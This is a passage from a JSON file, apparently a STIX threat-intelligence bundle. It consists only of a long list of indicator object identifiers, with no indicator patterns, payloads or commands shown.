        "indicator--ed1a797d-904e-456b-b3fe-69acc62fb2bb",
        "indicator--9ca0538e-450f-4a22-bf46-e71ca818a78f",
        "indicator--fbfa0a59-a78d-4117-82fc-3017094f00a8",
        "indicator--a0350297-5e28-479c-96dd-2f446eaa5080",
        "indicator--870ef6aa-d6db-4842-8cd2-ae81c13e7566",
        "indicator--1bdd7694-8352-4a0a-8cd9-57ff37a2bfc6",
        "indicator--48173616-bb59-4db7-8a44-74cb1a141362",
        "indicator--018bf356-1842-422f-b0e9-f27ebe005bdb",
        "indicator--a102e703-8369-486e-99e1-5b82d4c735ae",
        "indicator--895ecf1a-d3f4-4c88-92e8-3b39d798fdb3",
        "indicator--76b58a8e-2638-4a6d-8353-73899334669d",
        "indicator--44c0bd1f-948b-4e3b-98b2-41ac7c65bfb9",
        "indicator--35f22a0a-a33d-400e-a077-70a4d71f4a3b",
        "indicator--21cd1c49-b755-4dbd-a897-cc9ea8c2b4b4",
        "indicator--18830ead-a980-466a-bcfa-48b2028acfb8",
        "indicator--1ddb8362-88a6-4f7c-a16e-a42c68aad925",
        "indicator--2e6a8728-0008-4d4f-b0a8-d270a572ad88",
        "indicator--6247045e-ee6b-44b1-b782-e9a8ea4c3c60",
        "indicator--678f4078-8691-40dd-af8f-f635e02f0436",
        "indicator--9cec2c85-18b3-4c26-9982-5cf85b7f8a2a",
        "indicator--09615e81-9f6e-40ef-99b0-d8aa881ce428",
        "indicator--d5364081-3480-4139-9894-855b8073df55",
        "indicator--28604c6e-2bf1-4a49-9e71-6d07bc4e2fa6",
        "indicator--8c1dbbb9-ff41-4f7b-a740-f99c88870d18",
        "indicator--44f61efc-aade-4ece-a095-9bafa18fe9fc",
        "indicator--48fed715-800e-4efe-9028-43f550e18bc2",
        "indicator--c3787240-2968-4148-b994-da8876c7f341",
        "indicator--52468c45-5e45-420b-b034-7f603e4853da",
        "indicator--58867058-166f-4e48-99f1-f1a7dfc55b57",
        "indicator--612e890d-eb3b-413b-8877-55f2e291535a",
        "indicator--d1de4275-fa25-4bff-a718-97502f11a16d",
        "indicator--00920327-b599-428c-a027-56ed02955d99",
        "indicator--4ec9f19e-f9cf-436d-bb5e-35c933c6ab60",
        "indicator--f8d0a829-2119-4400-b63c-3cca8b6ef1b9",
        "indicator--5da74445-56b2-44de-a214-2d5b792e04ea",
        "indicator--121f90ed-a724-4dcd-b31b-832e111d762f",
        "indicator--e2fb7af2-8e31-4529-8159-a39b2daaf77e",
        "indicator--70994e22-8ae1-436f-b70f-475839800398",
        "indicator--69c17208-407a-4c1d-b06a-eea9f733b711",
        "indicator--63aec114-b1eb-4693-bcb5-abc572082259",
        "indicator--9841e6f2-e50c-40ff-90f2-57d4f030c5e8",
        "indicator--664e8776-df02-4fa3-9ace-1282cb298da5",
        "indicator--8b2d45a6-91d0-4949-ad80-4cbc2893a8fb",
        "indicator--ef51db7d-b229-45a4-b28e-b583c5a4c17b",
        "indicator--bd47560e-dfbe-44c4-b09a-44c1a6389c33",
        "indicator--752a2bf6-750c-4124-b766-67541cbe0fbc",
        "indicator--a6b14623-0c57-4e63-97d2-b23ad2532ebf",
        "indicator--93627aec-b6c8-4336-8e35-1cdf4ff0f088",
        "indicator--cd871fcd-7b0a-4a74-9335-01735ead7639",
        "indicator--3b8f41ba-cdd5-4e1f-8d79-95e94db1b514",
        "indicator--f7b1c34e-dd0a-4338-add5-4fb19b8a24b6",
        "indicator--3dc47ada-ca91-487b-9e8e-38ac6956d16f",
        "indicator--5995be60-f49a-43b6-8145-8d9ed1bdb744",
        "indicator--a1b1e80d-d42c-46a6-b5d8-cebfdca360d9",
        "indicator--32e4a2c7-deeb-491c-94ef-f20cd0281cc7",
        "indicator--126a068d-bb70-4d3c-a7d0-b9b3b6abfead",
        "indicator--c44a325b-9501-4690-b350-3e498290f4ac",
        "indicator--b7265c66-e586-45da-b835-0e745b19b887",
        "indicator--f2d6b60b-bbd0-43b3-92e5-0ed70c69e1a8",
        "indicator--2a7c4707-a0ef-454f-ba7e-3bc9e7cec03e",
        "indicator--644b6b39-a645-43b0-8d41-6daa527a66eb",
        "indicator--6899b98e-ffe7-4d9e-8552-6894f386869c",
        "indicator--4727ba8c-62a5-417c-9beb-2603c175e43d",
        "indicator--12b61348-95a7-44c0-825d-d99159e363b9",
        "indicator--c5f4f7a2-b361-4c2e-8925-17978720cefb",
        "indicator--f584a3c2-e7b0-43a0-9ad4-09a245ce6507",
        "indicator--f90db425-bb19-45d2-94d9-16045412a74b",
        "indicator--1d2207f9-a10b-49ad-b805-1754c8de4fa8",
        "indicator--ef3f819b-0445-442f-8d01-aceaefa10540",
        "indicator--53c13ddc-3176-428f-9f06-4b0917280436",
        "indicator--0f88e60b-c7c8-479a-aca2-c8b2558e49fe",
        "indicator--6df0686d-b34f-402d-8e49-f9519bf12c56",
        "indicator--d307ac08-9138-4a09-86e3-550ff044c26a",
        "indicator--5fee7233-32e1-438f-a899-d1359db062bd",
        "indicator--0e895b60-4de3-47af-b1d7-0ed849d426f2",
        "indicator--1f5b6cdb-3e08-42e0-9bc9-941a87a70587",
        "indicator--c2c3126e-3199-4488-80bc-eee6002200d5",
        "indicator--68bc60ba-412f-4a25-89a0-99bb2619a727",
        "indicator--17d6be84-1611-41ed-ae22-da34bb8a3f61",
        "indicator--a2cef74a-840d-4026-8795-f68325d7cacb",
        "indicator--d57a9332-8344-4a50-b00a-c6ff522694d0",
        "indicator--4d5d3cc0-6eb5-4f2f-8bfc-48ad3b623a37",
        "indicator--be80cae7-6ae8-4fb7-b2a0-809f203f4b97",
        "indicator--69c63963-c557-4802-bd79-438a1123c3ca",
        "indicator--8ee6500a-7351-4a6f-b14e-7294afa09d53",
        "indicator--21cc1de2-1aeb-4fb0-9766-b59c8b68de26",
        "indicator--02220bba-5cc9-469e-b9ca-ed2fd956c4a5",
        "indicator--ac1734ef-fb46-451f-837f-0ab204b75385",
        "indicator--97062f10-7597-4a24-b4d6-1ab0d8009232",
        "indicator--20f688a4-f5ad-4ea0-8986-1aa121aa7240",
        "indicator--b5e35b46-c5bc-498d-9ef9-ecdf67c2a9a8",
        "indicator--ff5dc5ca-5de6-410a-9b17-ab248514723f",
        "indicator--f463f0d0-fb13-42c7-bed7-a26a42791dc8",
        "indicator--3c38e073-5fb7-48c9-b388-182157edfd51",
        "indicator--abf1e25e-0e53-40ef-a05c-a8c02614133b",
        "indicator--8061b4c5-64ff-4bd4-82da-53a00a5fd27e",
        "indicator--744568cf-761e-44b3-a84d-dc8fcf380359",
        "indicator--070a5c70-8a40-419e-8bf6-1ec3b380bff4",
        "indicator--a1b6d64a-fee8-4634-86bc-ca4b493a513c",
        "indicator--e4103fc6-5f7a-4714-a143-2024d8aa8941",
        "indicator--9b416ccf-be2e-40f8-b356-fa7980e1ff31",
        "indicator--ad1fe064-e540-4b79-b863-ad7a420201ac",
        "indicator--20147756-8f81-47c8-b879-1a3d324e7983",
        "indicator--6fd261d5-a827-40c5-8eed-6942372930e2",
        "indicator--79d06b14-b824-4f4a-93e5-83deb88378bb",
        "indicator--12dfca58-8d45-419c-ace3-1ceb23a638b4",
        "indicator--49af46ab-52aa-4945-9008-ab61564d9d24",
        "indicator--2ef2aeac-bf96-433a-bf11-f993c8e6fcdc",
        "indicator--00e0e2a2-c6dd-47cc-89f0-a21d279fb141",
        "indicator--19de1107-67d2-4814-b5b5-3872b059d2b2",
        "indicator--bf56b86d-c2ee-4b67-af9d-234ec2de51e5",
        "indicator--b91b2327-87ca-4a7c-a6a0-a79ee4b0fba4",
        "indicator--14076bef-e453-4438-9ed0-607a3a6a6057",
        "indicator--57ae60b1-2a53-4b9e-b0b4-0eb98e051c2a",
        "indicator--9e918844-8a11-4f65-9676-4d73707f34a7",
        "indicator--9cad5509-a98d-4848-bd9e-0fdfbe620212",
        "indicator--16b8c35e-8580-4304-a2e8-1adc82770c41",
        "indicator--1fd01529-d1c1-4f64-b198-ece342fb7f75",
        "indicator--ed5298a2-bc93-4be2-80e4-cc494137b5d8",
        "indicator--b1b8a418-5172-4487-a1fc-1d311945f2ae",
        "indicator--fae049e4-55e0-49ab-8b48-e96c89335bbf",
        "indicator--51bf7d6b-ee58-4e92-93c9-323ffa2dea6a",
        "indicator--a8fb5968-3fd4-4584-a45f-c4ba2e1ef9e8",
        "indicator--b2222b25-1cae-42ab-a248-08e1a8b0e309",
        "indicator--e482bcba-4809-4b02-97ab-175d683befe1",
        "indicator--a3b63d5a-5622-472c-9f41-d7cb82a788e6",
        "indicator--76b358ac-667e-4325-925a-a3fe314d3b8c",
        "indicator--c433e389-ecd0-4428-b030-befe9e20f3ab",
        "indicator--f8a04eaa-ee82-4342-b799-1244ff09f7e9",
        "indicator--fdd0e1bf-85ae-4451-94ae-02dbf3ea5b82",
        "indicator--b1cc8a26-702e-4b5e-948e-9123ef4319eb",
        "indicator--517cfab1-c126-4901-a9c9-9612aff2733c",
        "indicator--9a55d7bc-6acd-4912-84c7-5456a607b300",
        "indicator--75137d23-559e-4330-ad17-e93786c74199",
        "indicator--0611c5bf-4655-451c-832d-04f6eddbf883",
        "indicator--3d21387f-12db-488d-a220-106f83e66a90",
        "indicator--be35fea7-7966-4a1d-93f2-eee5dff8428c",
        "indicator--c4a1998a-c763-4996-80b0-31f5aac1ad6d",
        "indicator--01b45e67-b528-4cb0-a4a3-d96f689ef09f",
        "indicator--6de10e79-c629-478d-9807-3d9afe380d3b",
        "indicator--0e1daa2a-cbb0-43c8-b195-1549cceeb94e",
        "indicator--ec9dc9b8-d752-43e9-b5a1-dacc46bc7d4f",
        "indicator--c50eaf6e-3224-47f8-b22c-7fd0bf3103af",
        "indicator--b51d17af-307c-4d8c-9688-b92e2dd61d78",
        "indicator--b37aece2-55ab-4b8a-a33e-e5d0ac6466a9",
        "indicator--32a8d839-e3bf-4b0e-800f-8fba8451d967",
        "indicator--d69e3d4a-badb-4b1d-9fca-563737bbe685",
        "indicator--25f333ad-64a3-4a23-ba4f-89e7dbffafc5",
        "indicator--7b85047a-8cf6-4d23-b183-ce6c9955c8db",
        "indicator--9d7269cf-3220-4fd9-abc2-0e174ba7dc90",
        "indicator--ed7de484-ff9b-476a-9f0d-96bde8489cff",
        "indicator--ef86d3b8-3b16-4687-a7f9-cad3fcd61019",
        "indicator--5d5646c5-070a-4c84-a780-7320a737f881",
        "indicator--b0f7735f-7b62-46b3-94cf-38dea6746900",
        "indicator--f6b07711-d4de-4e79-92ed-bc3b194b916d",
        "indicator--4ea2a625-6a89-4b38-8ac6-392b8f46746e",
        "indicator--19bd30bb-e886-4b96-85ae-a82f26427f79",
        "indicator--595e64ca-40b1-4681-87e4-9182a1bbd35a",
        "indicator--7348250a-4c72-4fdd-abd2-a1d0328b3606",
        "indicator--03682ecc-195d-459f-81e4-905837a90e1e",
        "indicator--ca820263-94d4-4f15-b0f0-012309668b2a",
        "indicator--826d7766-b756-4824-ad76-25d7e363d767",
        "indicator--492e3225-8c3e-4735-a017-7728b56ac396",
        "indicator--04953b95-2780-414c-bb34-2d1dfdd510eb",
        "indicator--4bf46280-b28c-4807-a7b5-fbf6049a8a4d",
        "indicator--762bf2ff-18be-44ae-8df4-889855b83c9f",
        "indicator--d0e6486c-b588-4ed9-af55-c03748ada914",
        "indicator--66a0342f-ec30-4233-be4d-f626d6e65da6",
        "indicator--9f672887-2c6e-4e0c-b14a-0aa9ea057338",
        "indicator--723028a9-07eb-4120-ad4e-bc93265329a7",
        "indicator--d5444fa5-50e4-4cc4-88f5-be2c0ea39fcc",
        "indicator--b99aa5fa-a876-4169-a79b-f1538dc8fe98",
        "indicator--5c623367-a51b-48f2-9f2c-faf2a4a5e7bd",
        "indicator--c5a23e86-8e2b-45ca-9d94-a18d0f046c29",
        "indicator--72998af7-ce61-44e5-8de9-f8598e19109d",
        "indicator--4e66bb3f-c0fd-479d-86ad-27ecedfe0697",
        "indicator--7b22c403-90ff-4dc5-8489-babe28c9ad0e",
        "indicator--9a066d45-81a5-426e-93cd-60a71731790b",
        "indicator--8ef7b6d9-f4b7-4a89-aee0-df29c949c471",
        "indicator--5559f0f2-731f-41e8-bc16-37752923cbde",
        "indicator--a8fed5ce-49da-4d09-8332-7aaf08b17d2a",
        "indicator--f2ff29a3-613b-46c6-8131-21ae34dc368d",
        "indicator--ca9e93c9-aaeb-43f5-b0bd-6d92e0035670",
        "indicator--a59d5b67-0356-4be1-a8c9-54c988239045",
        "indicator--9c29ef59-6e5f-4020-8790-6b6b4d3f2d63",
        "indicator--9058917d-e95c-4817-bb8c-5ae0c438f0e8",
        "indicator--521d00bd-24ee-400c-b1be-2c38f0482866",
        "indicator--b0fb0ef4-816f-4b58-a01e-77d69c447165",
        "indicator--46183f02-395b-4555-9733-d89fb5ceba95",
        "indicator--28025f99-f236-4c52-b54f-18590fc2f96e",
        "indicator--e938d469-02e0-449d-bdd6-327da643cab4",
        "indicator--a7269299-d89c-469b-aa00-77b5465911ae",
        "indicator--f34699ec-2e03-4004-a430-6751144c14ad",
        "indicator--b978ee88-582d-4e47-93bf-660ea8effe61",
        "indicator--2f681b8f-f460-422f-a769-a0dd6605caaa",
        "indicator--9a386ef9-447f-456b-b5a2-1bc12c034261",
        "indicator--c5eb73bf-d3e4-43f9-a005-f39ee67425bf",
        "indicator--a0436dd8-b97f-4909-9bbe-3474cc167555",
        "indicator--112a474c-021a-48ec-9873-1200d0e32f7e",
        "indicator--7a43f2cb-129c-407c-bba4-91a4f1811993",
        "indicator--8bde74c8-5d8f-4812-b37a-4bd202188f84",
        "indicator--5739de20-9be3-4a5a-ad9d-d2920800216b",
        "indicator--c7d92e21-fe89-4921-8362-478a38aa17d1",
        "indicator--5fbbdf25-38a7-44cb-87fb-25ea9e463a5e",
        "indicator--20c07743-e5cc-441e-9adb-85a44dced447",
        "indicator--0374ea69-adf8-4604-aff8-061a3525a923",
        "indicator--b912cb02-e2f1-478f-b7d7-bcab32ab697f",
        "indicator--f35cb431-f9a4-4f83-90d6-31e836cd5e81",
        "indicator--520ad52b-f06e-4d40-9b17-841a9cd52b5c",
        "indicator--68a10c1a-ad3a-4706-bd26-0e4f17517632",
        "indicator--196c3d68-cf83-4e27-8b12-fb41cd32196b",
        "indicator--e1394aa3-c3b5-49fe-bcad-38278baaeb39",
        "indicator--d4a1d0cf-811f-4393-bd8e-beaf8de28788",
        "indicator--6241fed6-d3e7-42bf-b4b1-0f8029208992",
        "indicator--7f8c0297-8b21-4d52-9e4c-164b22601187",
        "indicator--84c2fb12-b3f4-40cf-8314-9d6d38fba10b",
        "indicator--fa7f45ac-c493-4ac9-82a8-0479e571af5b",
        "indicator--f28881bd-7611-4f42-b6f9-bf3888f59696",
        "indicator--8a1d8c8f-4aae-4f99-a659-2e10ad7868c6",
        "indicator--bbdb017c-edd6-4703-9446-f7775e4483d6",
        "indicator--87070463-63f9-4b7a-b3a7-6077d37abadf",
        "indicator--06311b8a-def7-4666-8935-eb30060def57",
        "indicator--c36df540-2586-44e5-b6f7-d2c5d9f01503",
        "indicator--25665c19-cab4-40c9-b758-e9154692a2a3",
        "indicator--9c4ef6a8-c7cc-47bb-afda-eb39f379d34a",
        "indicator--6727e121-85c9-4482-aa79-b0da566ac487",
        "indicator--f86cd206-e9b4-455b-8a11-116c60af9700",
        "indicator--c4b5709a-ac3f-467c-8205-894b225014f5",
        "indicator--fcfc1e0d-0410-4991-9783-d3bab88da479",
        "indicator--8733281a-6822-439c-a6c0-2fd185d92e61",
        "indicator--a9bd2fe1-901a-45ac-90ca-a5e1dbc45bd2",
        "indicator--79ed6a42-18fe-4092-ab60-1f71bcb9f6ac",
        "indicator--eb0021a8-89d3-4c28-9a16-8b739b77d44f",
        "indicator--2a20bc78-6612-437f-83b5-27397222b9d8",
        "indicator--b0cf6a4b-737f-46e3-81ed-2e292147e50c",
        "indicator--7727aa7d-b7cd-4b80-8b67-73c4e6430137",
        "indicator--5d2d91db-1614-458d-9e45-cf31f65dabca",
        "indicator--304bd04a-61c2-40a4-9856-90e3c97b5abc",
        "indicator--7159aced-9e08-4c1d-8315-2c607a84bde0",
        "indicator--521b2289-74a5-430a-a534-f5605069e79e",
        "indicator--dd3603d5-bcae-4f2d-9bfd-085cf44ec83a",
        "indicator--bdca65ba-96bc-422e-bfd7-922ecdfa008a",
        "indicator--40b228b3-4284-4de7-a819-81c573f3d2a3",
        "indicator--210433d7-83d1-4f33-af00-66b2da3511fd",
        "indicator--8d556639-f5ca-493f-a0c7-e5ad6491d41e",
        "indicator--f56fc796-4698-4eca-ac30-191a45cd7186",
        "indicator--1b12cc92-ef6f-43c2-9c05-23d7fb0f4697",
        "indicator--daeedd9d-aa6d-487d-8cbc-ca325dcc3080",
        "indicator--5e13deff-53a2-47f5-831e-298af8fe89be",
        "indicator--3596a8b7-17df-4bcc-9fc0-e40dd2968232",
        "indicator--0f5d6045-54ff-42cd-964a-83745a85d7a5",
        "indicator--8daf1277-b0e8-4f91-a010-5cfcf16a1253",
        "indicator--5ae9646e-efc1-47cd-8c8d-32c718aba4e5",
        "indicator--e0b3f77b-d513-48b5-9efa-e359edb99047",
        "indicator--4d8f28d6-7d42-4917-adfb-ff74f8b4e4e3",
        "indicator--32fb8a92-ba86-45c5-aa11-1261dbad0714",
        "indicator--33d38447-3483-4e91-af2c-ae8740a5390d",
        "indicator--f9d04429-d0af-4470-b4b4-0a08de1df8ad",
        "indicator--b9d1d788-9c11-4cd0-be9c-0cf0e3007fbf",
        "indicator--479dd804-f4e5-4c08-ac85-bcf0937d0602",
        "indicator--989684f0-ec79-47d9-aea4-9319f95d0f80",
        "indicator--e0e6e2e4-0606-4d59-ae26-818e13cff87d",
        "indicator--942cb44c-21ce-4545-9866-ea75c9813959",
        "indicator--0b159e58-0d2f-44fe-8904-9ce4cc6870cb",
        "indicator--4ef4001c-cc58-43da-a711-7187870a7faa",
        "indicator--ec7709c3-6b4a-4a4d-ae77-07d604e6534f",
        "indicator--d3220cb0-08df-43da-9c6c-265abab6de09",
        "indicator--d16307de-84db-4dac-8d1d-4eb8b706678f",
        "indicator--c099878a-5971-4563-a615-85cd538ddcf9",
        "indicator--9153dced-2e50-4419-a406-3d18fc615a5a",
        "indicator--30c3364d-cbbd-4015-a5ee-cb8b9dbb8e22",
        "indicator--9e308fe9-7205-427a-a92f-01c774da7d20",
        "indicator--9f74b114-4e0d-4343-833e-82f80daa6ed0",
        "indicator--6b3735e3-a598-409b-bf7c-fef5b0b4a2c2",
        "indicator--5f843fe2-5328-4d5b-832f-30fe03afa795",
        "indicator--eb331460-d49c-4efb-bab4-0353da23cf69",
        "indicator--03795697-a8dc-459a-b037-3f4144a52015",
        "indicator--07f7c9bc-b2fe-45df-9b9e-12f34c8d6e93",
        "indicator--a61fb06c-0593-488c-a4d0-39ec8cc6d987",
        "indicator--60aa0d3c-2e96-4d01-a141-a171f56e8ef0",
        "indicator--7373fb24-a5c1-4843-b520-8542815fc705",
        "indicator--9e6d12ba-42fa-4d89-9a13-9e7518af845a",
        "indicator--38ac7dd2-f15c-4372-b651-6ef40dbc581c",
        "indicator--fc87f62c-8539-478f-b44f-af5fd7c9df72",
        "indicator--6ff34712-e924-4c4d-8965-151e459384ef",
        "indicator--2e376868-d02d-451b-881d-bd37e2623d6a",
        "indicator--03dc4a36-4d6d-48ac-90d3-ec76e6d1af96",
        "indicator--d44cb93b-4e74-46f4-941b-f695b557163e",
        "indicator--86acaf12-bcb3-4652-8d0f-c98effdc31e9",
        "indicator--19152466-eca6-4c9f-ac03-93336ec6fd0e",
        "indicator--09b4e752-8bf6-462b-ac14-a703d5bb6e26",
        "indicator--cfeb2039-74a6-4dc1-9143-db7d0f75650e",
        "indicator--f0c16309-2914-4e06-92d3-bdd2c0511afe",
        "indicator--7aced5ac-39f6-4b42-950d-f6b277db2d1e",
        "indicator--320b8020-e40d-450a-a77e-9e34967fdd83",
        "indicator--31cf3c2a-fc67-441a-b9b9-64fae27ebfc7",
        "indicator--c2277a25-3558-4bb6-8c7b-2e544315cf95",
        "indicator--d9417d51-6e81-477b-848b-7a1e4221b0c9",
        "indicator--7fa6b131-bd0b-4311-963c-a2b9e06f883d",
        "indicator--150d847f-ec38-41e4-b6b5-f276bc508824",
        "indicator--8ee6a75d-23d1-41b1-ad36-f9d83380f202",
        "indicator--bab15e1b-15df-411d-a704-cb1d232a25c7",
        "indicator--ea66f5c7-1186-4999-b966-ffcf9f4e5844",
        "indicator--17706ac0-d364-49d0-b0eb-3da7b9bbd005",
        "indicator--78d62ff2-0d3c-4033-9b3b-e5094cd115bd",
        "indicator--9433e8f6-0072-46e1-a1e8-835c725b287f",
        "indicator--efcd22e2-3182-4dcc-9fe1-e9e2b455b300",
        "indicator--4762074f-fefd-4e42-a61e-0cd724c5b9e7",
        "indicator--a4631a6e-b2cb-452a-8432-6198f4de8264",
        "indicator--1bbf70bf-cbf5-4353-9a1a-c9907919251f",
        "indicator--c514a79d-4245-421f-8fd3-e71aa2bfd641",
        "indicator--a461368f-4dc0-4005-b04f-43fb3a416763",
        "indicator--2d451813-ede5-4a04-8c21-0e6650251c2a",
        "indicator--069d1f2d-fff9-4864-ad32-b0f7d2a69b29",
        "indicator--5781b0f1-d695-49f4-8830-0a9417d86b61",
        "indicator--371bce0f-0ae4-48cf-90b2-df497f71c89c",
        "indicator--05b74f35-dc56-4198-a761-9cb97b6c44df",
        "indicator--51bcb504-110d-4050-84f1-b2f138e1654a",
        "indicator--4dbdc30f-e3b9-4d5b-a522-ff14fc8b6007",
        "indicator--f1699ac9-70b3-4c90-a6d0-8cb8c8980fc9",
        "indicator--faa95639-d295-4fa6-a68e-d0c10ddcbf1b",
        "indicator--4a7ee349-0ba0-4aa9-95ff-4f0e1d578ab3",
        "indicator--d6917859-e247-4dff-9abc-aa19bd9c1203",
        "indicator--172250eb-ea0f-45ca-b9d5-268407dbfd27",
        "indicator--843666b0-4ecf-459b-9bab-f23664ffb3fb",
        "indicator--8c33f36f-9211-4e80-b151-d2512d2a6971",
        "indicator--8fabce6b-4a71-45e6-933d-bb5e94c506f5",
        "indicator--72351247-eecb-44dc-bbcd-255f55ee03d5",
        "indicator--56052577-68ad-42f1-96d5-a9307e9963e7",
        "indicator--6b6744b4-836e-4337-b6af-cd6997da1def",
        "indicator--43473b46-019d-4292-bf24-dd2ef55c17cd",
        "indicator--81265e52-7200-49f0-aecc-5ed2abd1df8a",
        "indicator--0e98cd9b-6bb8-4085-a8fe-68f42ee2a09b",
        "indicator--cff8a624-3bfe-4366-888e-82485e04264b",
        "indicator--d073b9ff-d5a7-42df-accf-7e83b8e0bc63",
        "indicator--33cf115a-dc0d-4c6c-bb98-55bbe998e395",
        "indicator--2d4a593b-5e8d-48e0-883d-d2a92f8d155b",
        "indicator--bd997b4b-7943-4f58-b904-08e59675c908",
        "indicator--c2a82985-606f-41c7-af6f-a804f09612ca",
        "indicator--78fe0013-4c02-4941-9ecf-13b9fba1acad",
        "indicator--964f8e6b-a4e8-42e2-921b-70af00cbe8d8",
        "indicator--d8035baf-ba5c-439b-8f20-07ad9d42cd5c",
        "indicator--6cb2bef3-20af-4ab5-b1ae-37cc192adf97",
        "indicator--630e35e2-a57d-4975-8f5a-bd9ec34d7e03",
        "indicator--befa0b6c-c2b3-43e0-a781-39e2670561e6",
        "indicator--dcb893e9-a005-4be4-8c11-b3b33465f216",
        "indicator--c485e9fb-af9e-4fc7-ab6b-a952c9a321e2",
        "indicator--e6fb0d1e-5e63-40d9-85ed-3828f7c08e2e",
        "indicator--5f9f5c88-abf2-4089-aa85-9c9712e1aaad",
        "indicator--8d34ad4e-e31e-4d0a-bf1e-673097e88495",
        "indicator--f6c88c6d-f0c9-4c43-9830-9ebb76b89c28",
        "indicator--4f3901d6-3850-47ce-ab48-479ddfc22adb",
        "indicator--1ec24313-4a10-4f29-a79f-b8a658c2d5ec",
        "indicator--a6963415-cb64-4cb6-aeab-77acca8ef186",
        "indicator--9ae4226b-0289-416b-8aee-f5d3709beb6c",
        "indicator--1bac8e51-f21b-481b-a97a-ed86821461ec",
        "indicator--81e557e7-7164-402f-9328-5b2917471ffb",
        "indicator--21308a8c-dc04-49c4-92c4-7ab7261ac5f0",
        "indicator--fef21116-3e75-453c-9743-a57bce1b0583",
        "indicator--2aec9e16-ab11-4334-8bdf-94bce91cbbf4",
        "indicator--45976614-b0aa-44b9-9585-966a3f8f6001",
        "indicator--78601441-c95e-40c5-8651-c080af99356e",
        "indicator--d98ea06c-8987-4056-a800-e45b0cac448b",
        "indicator--8e3630cb-86e6-41f3-bd42-be4ed94b8503",
        "indicator--ec760edd-05f8-428e-a202-fa5d737b4ab6",
        "indicator--b9d9c13a-fc7f-4a77-909b-5955ce03049f",
        "indicator--9ed034f1-9d66-44e7-adba-72f193cb42ab",
        "indicator--0ce4a807-31c7-4026-995e-8edb758d3b7e",
        "indicator--1c49fbae-e91d-4161-974d-8fa650395dcd",
        "indicator--5c25ca0b-fc82-4a20-ae23-c73e9d700292",
        "indicator--0efecd03-5229-4563-ad4f-6704cff5df52",
        "indicator--a3b24477-b075-475a-abf3-d6c15593c4fb",
        "indicator--74dcd94b-20f9-4073-8189-71b62722e9c3",
        "indicator--e1f9fec5-f065-4faa-ba3d-fb067eb1f52b",
        "indicator--2f439cb5-f5fb-4858-ba01-d2ea5981cf75",
        "indicator--87ee0648-6189-47d0-b244-2515d95ad63d",
        "indicator--6175da8e-596b-4f8b-963e-4014dc57cd0f",
        "indicator--2cafa4fb-87d8-4345-a2bb-6d65b23a6b4a",
        "indicator--465b455e-74c1-403a-9c10-f9c0072f1f50",
        "indicator--3850d85a-008f-472f-9687-eb1443d99402",
        "indicator--faf693db-e083-4489-8f48-5939f05dffa9",
        "indicator--6436093f-d34c-4c7c-849d-d9f75663082c",
        "indicator--8c20a181-552e-4d82-8cf0-de6ac15a7b82",
        "indicator--1fcd14b1-3523-46b8-a39a-5bfdf7b7c1f3",
        "indicator--4e25eec5-6ad2-493b-a769-641f043455d6",
        "indicator--0752a97b-d01c-49f4-9b47-113ed13253cf",
        "indicator--b3fee87a-4dce-4c03-b7c7-a1e9e2a2253f",
        "indicator--39357598-fee2-4c28-bac8-f8d8f227b4a2",
        "indicator--ee7e66aa-5929-404d-9a07-92f1bc6bf71f",
        "indicator--1def3694-0664-41e0-b94a-54779c77b3c5",
        "indicator--7ab3a74a-9952-42e0-8cd8-d8ab3792c8b9",
        "indicator--e8b5980e-63ac-41fb-b1a9-1c93e4e10785",
        "indicator--3d775b8c-f1f1-43fd-a53b-174f92857722",
        "indicator--393acd82-1587-438a-b473-54b0337292f4",
        "indicator--afc1c064-2e42-4896-8cb4-59093979fe15",
        "indicator--762d5c97-f731-4c29-99a3-d357d6b5da4e",
        "indicator--db0b7838-74c1-408a-92de-db5a07e659ec",
        "indicator--eca57932-5910-42a3-a392-8f6e39529645",
        "indicator--e24c2019-adaa-4164-b2fa-2a4a710257f1",
        "indicator--1b757659-ad3a-43fe-b8af-aa2ec93db365",
        "indicator--2988a76e-7d83-463b-a5aa-d89aa9d5af15",
        "indicator--e8654ea7-13ac-4315-ab8e-b59f9c6a8bbb",
        "indicator--d3b3447c-ab29-48aa-aacf-8bf3e358df24",
        "indicator--b0705290-1c18-49de-9422-f9de069480d0",
        "indicator--3880132d-94b0-4646-b998-6fae61f18e7b",
        "indicator--b44871fe-900a-4715-84c6-d6922faeb33b",
        "indicator--3cf3bc51-85b5-4fef-9b1d-48fd23baaca3",
        "indicator--87f65824-4d46-4b02-a91a-3580676c6bdf",
        "indicator--95230791-328f-4c04-8344-d70fa423e321",
        "indicator--0c1bb016-fd34-425a-8bf9-55c00ecf461f",
        "indicator--077e58e8-4610-4450-91bb-45f53a5b4b31",
        "indicator--edf90763-0602-4b6f-8ed4-21c5b530db77",
        "indicator--4c087cea-7d19-42ee-8bdf-e442c439a147",
        "indicator--4faa6172-98c4-496a-8811-1d7b794ad457",
        "indicator--de7e3b37-ea0a-430d-86ab-a9338c89f1e0",
        "indicator--ce7384d4-b814-47fa-bdde-bff4d97d39d5",
        "indicator--f6faa267-102d-4e48-a84b-77786be6f3ca",
        "indicator--0b652048-d75d-480f-9e8b-7035f371eb43",
        "indicator--6a4e9fea-b88a-4ebe-9313-6b0fd8268180",
        "indicator--2e09a5d2-d7fe-4f42-963c-df21ff8a88c8",
        "indicator--b620f698-d227-4a8b-bc98-f8240a88caf8",
        "indicator--044277f5-c53b-4d35-893c-293f1eca69c0",
        "indicator--386b7c3e-6c1c-4fdf-a7db-72af9295c9e4",
        "indicator--c89dc0ff-63bb-4599-867a-c7452e037c2d",
        "indicator--92ca091d-2fdb-49eb-abfa-3cab754ffb27",
        "indicator--6843fa01-6bcc-4369-86a9-4fc4d9510a47",
        "indicator--f59930f8-fc93-4b71-a568-ab2e91cd143b",
        "indicator--9dde796b-3aa0-481f-a754-1c53b8d0e3d9",
        "indicator--8f3511a6-ff03-4daa-adf3-4ce5f82452de",
        "indicator--8c3ec404-ba58-4068-b6e4-3e227995ce94",
        "indicator--727e148d-5b7c-4bba-a394-71c83753a4b2",
        "indicator--d6e3731c-fef2-46dd-b4f6-90132d6f694e",
        "indicator--9f6b9e19-c810-42a9-bb65-a47059f58656",
        "indicator--7947c866-fb9d-4a6d-995b-ce36a12c734c",
        "indicator--42260b7b-5447-48f6-a9ec-ef730007de4b",
        "indicator--23a018f1-6510-446f-9efb-99646a7d0449",
        "indicator--94a7dd90-10e5-49d3-ae27-9773d94376f0",
        "indicator--bea21c94-e227-46b5-a454-b746620f31be",
        "indicator--a6f9d9e8-1795-491b-a924-3045fd70a41b",
        "indicator--a7c1354c-2af6-4f7c-91dd-b32374ab9633",
        "indicator--d96b756b-638e-4b06-b5ef-e809ac7851db",
